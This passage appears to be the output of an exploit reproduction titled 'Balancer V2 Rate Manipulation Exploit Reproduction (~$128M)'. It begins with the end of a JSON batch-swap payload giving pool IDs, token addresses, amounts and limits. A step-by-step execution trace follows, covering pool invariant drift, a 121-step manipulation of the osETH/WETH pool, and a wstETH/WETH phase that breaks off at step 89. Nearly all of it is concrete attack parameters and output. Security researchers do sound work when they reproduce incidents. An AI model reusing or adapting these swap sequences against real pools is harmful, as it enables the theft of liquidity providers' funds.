"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 97000000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 47546,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 70000000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 301296,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 50000000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 9419,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 36000000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 3493484,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 26000000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 1157,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 18000000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 341,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 13000000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 670,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 9500000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 10201,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 6210000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 81,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 4900000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 9846,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 3500000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4546,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 2500000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 17520,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 1700000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 292,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 1200000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 220,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 840000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 46307,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 600000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 37215,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 430000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 620177448,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 310000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 21591,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 220000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 671,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 160000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 7038,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 0,
"amount": 4,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 2,
"amount": 110000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 1,
"amount": 10000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 1,
"amount": 10000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 1,
"amount": 10000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 1,
"amount": 10000000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 1,
"amount": 10000000000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 1,
"amount": 10000000000000000000,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 0,
"assetOutIndex": 1,
"amount": 3418009626758926269710,
"userData": "0x"
},
{
"poolId": "0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd0000000000000000000005c2",
"assetInIndex": 2,
"assetOutIndex": 1,
"amount": 3418009626758926269710,
"userData": "0x"
}
],
"assets": [
"0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0",
"0x93d199263632a4EF4Bb438F1feB99e57b4b5f0BD",
"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"
],
"funds": {
"sender": "0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d",
"fromInternalBalance": true,
"recipient": "0x54B53503c0e2173Df29f8da735fBd45Ee8aBa30d",
"toInternalBalance": true
},
"limits": [
1809251394333065553493296640760748560207343510400633813116524750123642650624,
1809251394333065553493296640760748560207343510400633813116524750123642650624,
1809251394333065553493296640760748560207343510400633813116524750123642650624
],
"deadline": 1762156007
}
]
╔═══════════════════════════════════════════════════════════════╗
║ Balancer V2 Rate Manipulation Exploit Reproduction (~$128M) ║
╚═══════════════════════════════════════════════════════════════╝
┌─ Exploit Execution Flow:
├─ Attacker Initial State:
│ ├─ External Balances:
│ │ ├─ WETH: 0.000000000000000000
│ │ ├─ osETH: 0.000000000000000000
│ │ ├─ wstETH: 0.000000000000000000
│ │ ├─ BPT_osETH: 0.000000000000000000
│ │ └─ BPT_wstETH: 0.000000000000000000
├─ Initial osETH/WETH Pool Pool State
│ ├─ Balance Sum: 2596148429279195912438651575602712
│ ├─ Scaled Sum: 2596148429279594054764529003142285
│ └─ Invariant (D): 2596667658960526632539301856670621
├─ Phase 1: Manipulate osETH/WETH Pool (121 steps)
│ ├─ Internal Balances (Vault):
│ │ ├─ WETH: 0.000000000000000000
│ │ ├─ osETH: 0.000000000000000000
│ │ ├─ wstETH: 0.000000000000000000
│ │ ├─ BPT_osETH: 0.000000000000000000
│ │ └─ BPT_wstETH: 0.000000000000000000
│ ├─ Batch Swap (121 steps)
│ │ ├─ Step 1: Swap BPT_osETH → WETH (4873132999218408001625 wei)
│ │ ├─ Step 2: Swap BPT_osETH → osETH (6783065423678905706961 wei)
│ │ ├─ Step 3: Swap BPT_osETH → WETH (48731329992184080017 wei)
│ │ ├─ Step 4: Swap BPT_osETH → osETH (67830654236789057069 wei)
│ │ ├─ Step 5: Swap BPT_osETH → WETH (487313299921840800 wei)
│ │ ├─ Step 6: Swap BPT_osETH → osETH (678306542367890571 wei)
│ │ ├─ Step 7: Swap BPT_osETH → WETH (4873132999218408 wei)
│ │ ├─ Step 8: Swap BPT_osETH → osETH (6783065423678906 wei)
│ │ ├─ Step 9: Swap BPT_osETH → WETH (48731329992184 wei)
│ │ ├─ Step 10: Swap BPT_osETH → osETH (67830654236789 wei)
│ │ ├─ Step 11: Swap BPT_osETH → WETH (487313299922 wei)
│ │ ├─ Step 12: Swap BPT_osETH → osETH (678306542367 wei)
│ │ ├─ Step 13: Swap BPT_osETH → WETH (4873132999 wei)
│ │ ├─ Step 14: Swap BPT_osETH → osETH (6783065424 wei)
│ │ ├─ Step 15: Swap BPT_osETH → WETH (48731330 wei)
│ │ ├─ Step 16: Swap BPT_osETH → osETH (67830654 wei)
│ │ ├─ Step 17: Swap BPT_osETH → WETH (487313 wei)
│ │ ├─ Step 18: Swap BPT_osETH → osETH (678307 wei)
│ │ ├─ Step 19: Swap BPT_osETH → WETH (4873 wei)
│ │ ├─ Step 20: Swap BPT_osETH → osETH (6783 wei)
│ │ ├─ Step 21: Swap BPT_osETH → WETH (50 wei)
│ │ ├─ Step 22: Swap BPT_osETH → osETH (69 wei)
│ │ ├─ Step 23: Swap WETH → osETH (66982 wei)
│ │ ├─ Step 24: Swap WETH → osETH (17 wei)
│ │ ├─ Step 25: Swap osETH → WETH (891000 wei)
│ │ ├─ Step 26: Swap WETH → osETH (5165 wei)
│ │ ├─ Step 27: Swap WETH → osETH (17 wei)
│ │ ├─ Step 28: Swap osETH → WETH (666000 wei)
│ │ ├─ Step 29: Swap WETH → osETH (9016 wei)
│ │ ├─ Step 30: Swap WETH → osETH (17 wei)
│ │ ├─ Step 31: Swap osETH → WETH (495000 wei)
│ │ ├─ Step 32: Swap WETH → osETH (12206 wei)
│ │ ├─ Step 33: Swap WETH → osETH (17 wei)
│ │ ├─ Step 34: Swap osETH → WETH (369000 wei)
│ │ ├─ Step 35: Swap WETH → osETH (17532 wei)
│ │ ├─ Step 36: Swap WETH → osETH (17 wei)
│ │ ├─ Step 37: Swap osETH → WETH (270000 wei)
│ │ ├─ Step 38: Swap WETH → osETH (14434 wei)
│ │ ├─ Step 39: Swap WETH → osETH (17 wei)
│ │ ├─ Step 40: Swap osETH → WETH (198000 wei)
│ │ ├─ Step 41: Swap WETH → osETH (11377 wei)
│ │ ├─ Step 42: Swap WETH → osETH (17 wei)
│ │ ├─ Step 43: Swap osETH → WETH (160000 wei)
│ │ ├─ Step 44: Swap WETH → osETH (22554 wei)
│ │ ├─ Step 45: Swap WETH → osETH (17 wei)
│ │ ├─ Step 46: Swap osETH → WETH (120000 wei)
│ │ ├─ Step 47: Swap WETH → osETH (17663 wei)
│ │ ├─ Step 48: Swap WETH → osETH (17 wei)
│ │ ├─ Step 49: Swap osETH → WETH (89100 wei)
│ │ ├─ Step 50: Swap WETH → osETH (12038 wei)
│ │ ├─ Step 51: Swap WETH → osETH (17 wei)
│ │ ├─ Step 52: Swap osETH → WETH (67500 wei)
│ │ ├─ Step 53: Swap WETH → osETH (10414 wei)
│ │ ├─ Step 54: Swap WETH → osETH (17 wei)
│ │ ├─ Step 55: Swap osETH → WETH (52200 wei)
│ │ ├─ Step 56: Swap WETH → osETH (9007 wei)
│ │ ├─ Step 57: Swap WETH → osETH (17 wei)
│ │ ├─ Step 58: Swap osETH → WETH (40500 wei)
│ │ ├─ Step 59: Swap WETH → osETH (7867 wei)
│ │ ├─ Step 60: Swap WETH → osETH (17 wei)
│ │ ├─ Step 61: Swap osETH → WETH (31500 wei)
│ │ ├─ Step 62: Swap WETH → osETH (6554 wei)
│ │ ├─ Step 63: Swap WETH → osETH (17 wei)
│ │ ├─ Step 64: Swap osETH → WETH (24300 wei)
│ │ ├─ Step 65: Swap WETH → osETH (5472 wei)
│ │ ├─ Step 66: Swap WETH → osETH (17 wei)
│ │ ├─ Step 67: Swap osETH → WETH (19800 wei)
│ │ ├─ Step 68: Swap WETH → osETH (4749 wei)
│ │ ├─ Step 69: Swap WETH → osETH (17 wei)
│ │ ├─ Step 70: Swap osETH → WETH (16200 wei)
│ │ ├─ Step 71: Swap WETH → osETH (4397 wei)
│ │ ├─ Step 72: Swap WETH → osETH (17 wei)
│ │ ├─ Step 73: Swap osETH → WETH (12600 wei)
│ │ ├─ Step 74: Swap WETH → osETH (3442 wei)
│ │ ├─ Step 75: Swap WETH → osETH (17 wei)
│ │ ├─ Step 76: Swap osETH → WETH (10800 wei)
│ │ ├─ Step 77: Swap WETH → osETH (3296 wei)
│ │ ├─ Step 78: Swap WETH → osETH (17 wei)
│ │ ├─ Step 79: Swap osETH → WETH (9000 wei)
│ │ ├─ Step 80: Swap WETH → osETH (2886 wei)
│ │ ├─ Step 81: Swap WETH → osETH (17 wei)
│ │ ├─ Step 82: Swap osETH → WETH (7371 wei)
│ │ ├─ Step 83: Swap WETH → osETH (2286 wei)
│ │ ├─ Step 84: Swap WETH → osETH (17 wei)
│ │ ├─ Step 85: Swap osETH → WETH (6480 wei)
│ │ ├─ Step 86: Swap WETH → osETH (2124 wei)
│ │ ├─ Step 87: Swap WETH → osETH (17 wei)
│ │ ├─ Step 88: Swap osETH → WETH (6075 wei)
│ │ ├─ Step 89: Swap WETH → osETH (2014 wei)
│ │ ├─ Step 90: Swap WETH → osETH (17 wei)
│ │ ├─ Step 91: Swap osETH → WETH (5589 wei)
│ │ ├─ Step 92: Swap WETH → osETH (1902 wei)
│ │ ├─ Step 93: Swap WETH → osETH (17 wei)
│ │ ├─ Step 94: Swap osETH → WETH (4779 wei)
│ │ ├─ Step 95: Swap WETH → osETH (1730 wei)
│ │ ├─ Step 96: Swap WETH → osETH (17 wei)
│ │ ├─ Step 97: Swap osETH → WETH (4455 wei)
│ │ ├─ Step 98: Swap WETH → osETH (1664 wei)
│ │ ├─ Step 99: Swap WETH → osETH (17 wei)
│ │ ├─ Step 100: Swap osETH → WETH (3969 wei)
│ │ ├─ Step 101: Swap WETH → osETH (1562 wei)
│ │ ├─ Step 102: Swap WETH → osETH (17 wei)
│ │ ├─ Step 103: Swap osETH → WETH (3726 wei)
│ │ ├─ Step 104: Swap WETH → osETH (1492 wei)
│ │ ├─ Step 105: Swap WETH → osETH (17 wei)
│ │ ├─ Step 106: Swap osETH → WETH (3645 wei)
│ │ ├─ Step 107: Swap WETH → osETH (1484 wei)
│ │ ├─ Step 108: Swap WETH → osETH (17 wei)
│ │ ├─ Step 109: Swap osETH → WETH (3564 wei)
│ │ ├─ Step 110: Swap WETH → osETH (1444 wei)
│ │ ├─ Step 111: Swap WETH → osETH (17 wei)
│ │ ├─ Step 112: Swap osETH → WETH (3564 wei)
│ │ ├─ Step 113: Swap WETH → BPT_osETH (10000 wei)
│ │ ├─ Step 114: Swap osETH → BPT_osETH (10000000 wei)
│ │ ├─ Step 115: Swap WETH → BPT_osETH (10000000000 wei)
│ │ ├─ Step 116: Swap osETH → BPT_osETH (10000000000000 wei)
│ │ ├─ Step 117: Swap WETH → BPT_osETH (10000000000000000 wei)
│ │ ├─ Step 118: Swap osETH → BPT_osETH (10000000000000000000 wei)
│ │ ├─ Step 119: Swap WETH → BPT_osETH (10000000000000000000000 wei)
│ │ ├─ Step 120: Swap osETH → BPT_osETH (941319322493191942754 wei)
│ │ ├─ Step 121: Swap WETH → BPT_osETH (941319322493191942754 wei)
│ └─┬─ Net Cumulative Deltas:
│ ├─ WETH Δ: -4623.602418782976310018
│ ├─ BPT_osETH Δ: -44.154666473995199738
│ └─ osETH Δ: -6851.122955620687948760
├─ Post-Phase1 osETH/WETH Pool Pool State
│ ├─ Balance Sum: 2596148429267677032397773916144196
│ ├─ Scaled Sum: 2596148429267677059038686444922391
│ └─ Invariant (D): 2596667658953231780553580862844363
│ ⚠️ Pool 0 Invariant Drift:
│ └─ Decreased by: 7294.851985720993826258
├─ Phase 2: Manipulate wstETH/WETH Pool (105 steps)
│ ├─ Internal Balances (Vault):
│ │ ├─ WETH: 4623.602418782976310018
│ │ ├─ osETH: 6851.122955620687948760
│ │ ├─ wstETH: 0.000000000000000000
│ │ ├─ BPT_osETH: 44.154666473995199738
│ │ └─ BPT_wstETH: 0.000000000000000000
├─ Pre-Phase2 wstETH/WETH Pool Pool State
│ ├─ Balance Sum: 2596148429274073713851659280290989
│ ├─ Scaled Sum: 2596148429275005254385706126923437
│ └─ Invariant (D): 2609129171416151887193353924196693
│ ├─ Batch Swap (105 steps)
│ │ ├─ Step 1: Swap BPT_wstETH → wstETH (4228132612127881562978 wei)
│ │ ├─ Step 2: Swap BPT_wstETH → WETH (1957287132413516128516 wei)
│ │ ├─ Step 3: Swap BPT_wstETH → wstETH (42281326121278815630 wei)
│ │ ├─ Step 4: Swap BPT_wstETH → WETH (19572871324135161285 wei)
│ │ ├─ Step 5: Swap BPT_wstETH → wstETH (422813261212788156 wei)
│ │ ├─ Step 6: Swap BPT_wstETH → WETH (195728713241351613 wei)
│ │ ├─ Step 7: Swap BPT_wstETH → wstETH (4228132612127882 wei)
│ │ ├─ Step 8: Swap BPT_wstETH → WETH (1957287132413516 wei)
│ │ ├─ Step 9: Swap BPT_wstETH → wstETH (42281326121278 wei)
│ │ ├─ Step 10: Swap BPT_wstETH → WETH (19572871324136 wei)
│ │ ├─ Step 11: Swap BPT_wstETH → wstETH (422813261213 wei)
│ │ ├─ Step 12: Swap BPT_wstETH → WETH (195728713241 wei)
│ │ ├─ Step 13: Swap BPT_wstETH → wstETH (4228132612 wei)
│ │ ├─ Step 14: Swap BPT_wstETH → WETH (1957287132 wei)
│ │ ├─ Step 15: Swap BPT_wstETH → wstETH (42281326 wei)
│ │ ├─ Step 16: Swap BPT_wstETH → WETH (19572872 wei)
│ │ ├─ Step 17: Swap BPT_wstETH → wstETH (422814 wei)
│ │ ├─ Step 18: Swap BPT_wstETH → WETH (195728 wei)
│ │ ├─ Step 19: Swap BPT_wstETH → wstETH (4228 wei)
│ │ ├─ Step 20: Swap BPT_wstETH → WETH (1958 wei)
│ │ ├─ Step 21: Swap BPT_wstETH → wstETH (43 wei)
│ │ ├─ Step 22: Swap BPT_wstETH → WETH (20 wei)
│ │ ├─ Step 23: Swap WETH → wstETH (99999999995 wei)
│ │ ├─ Step 24: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 25: Swap wstETH → WETH (380000000000000 wei)
│ │ ├─ Step 26: Swap WETH → wstETH (6665 wei)
│ │ ├─ Step 27: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 28: Swap wstETH → WETH (270000000000000 wei)
│ │ ├─ Step 29: Swap WETH → wstETH (6528 wei)
│ │ ├─ Step 30: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 31: Swap wstETH → WETH (190000000000000 wei)
│ │ ├─ Step 32: Swap WETH → wstETH (2477 wei)
│ │ ├─ Step 33: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 34: Swap wstETH → WETH (130000000000000 wei)
│ │ ├─ Step 35: Swap WETH → wstETH (297 wei)
│ │ ├─ Step 36: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 37: Swap wstETH → WETH (97000000000000 wei)
│ │ ├─ Step 38: Swap WETH → wstETH (47546 wei)
│ │ ├─ Step 39: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 40: Swap wstETH → WETH (70000000000000 wei)
│ │ ├─ Step 41: Swap WETH → wstETH (301296 wei)
│ │ ├─ Step 42: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 43: Swap wstETH → WETH (50000000000000 wei)
│ │ ├─ Step 44: Swap WETH → wstETH (9419 wei)
│ │ ├─ Step 45: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 46: Swap wstETH → WETH (36000000000000 wei)
│ │ ├─ Step 47: Swap WETH → wstETH (3493484 wei)
│ │ ├─ Step 48: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 49: Swap wstETH → WETH (26000000000000 wei)
│ │ ├─ Step 50: Swap WETH → wstETH (1157 wei)
│ │ ├─ Step 51: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 52: Swap wstETH → WETH (18000000000000 wei)
│ │ ├─ Step 53: Swap WETH → wstETH (341 wei)
│ │ ├─ Step 54: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 55: Swap wstETH → WETH (13000000000000 wei)
│ │ ├─ Step 56: Swap WETH → wstETH (670 wei)
│ │ ├─ Step 57: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 58: Swap wstETH → WETH (9500000000000 wei)
│ │ ├─ Step 59: Swap WETH → wstETH (10201 wei)
│ │ ├─ Step 60: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 61: Swap wstETH → WETH (6210000000000 wei)
│ │ ├─ Step 62: Swap WETH → wstETH (81 wei)
│ │ ├─ Step 63: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 64: Swap wstETH → WETH (4900000000000 wei)
│ │ ├─ Step 65: Swap WETH → wstETH (9846 wei)
│ │ ├─ Step 66: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 67: Swap wstETH → WETH (3500000000000 wei)
│ │ ├─ Step 68: Swap WETH → wstETH (4546 wei)
│ │ ├─ Step 69: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 70: Swap wstETH → WETH (2500000000000 wei)
│ │ ├─ Step 71: Swap WETH → wstETH (17520 wei)
│ │ ├─ Step 72: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 73: Swap wstETH → WETH (1700000000000 wei)
│ │ ├─ Step 74: Swap WETH → wstETH (292 wei)
│ │ ├─ Step 75: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 76: Swap wstETH → WETH (1200000000000 wei)
│ │ ├─ Step 77: Swap WETH → wstETH (220 wei)
│ │ ├─ Step 78: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 79: Swap wstETH → WETH (840000000000 wei)
│ │ ├─ Step 80: Swap WETH → wstETH (46307 wei)
│ │ ├─ Step 81: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 82: Swap wstETH → WETH (600000000000 wei)
│ │ ├─ Step 83: Swap WETH → wstETH (37215 wei)
│ │ ├─ Step 84: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 85: Swap wstETH → WETH (430000000000 wei)
│ │ ├─ Step 86: Swap WETH → wstETH (620177448 wei)
│ │ ├─ Step 87: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 88: Swap wstETH → WETH (310000000000 wei)
│ │ ├─ Step 89: Swap WETH → wstETH (21591 wei)
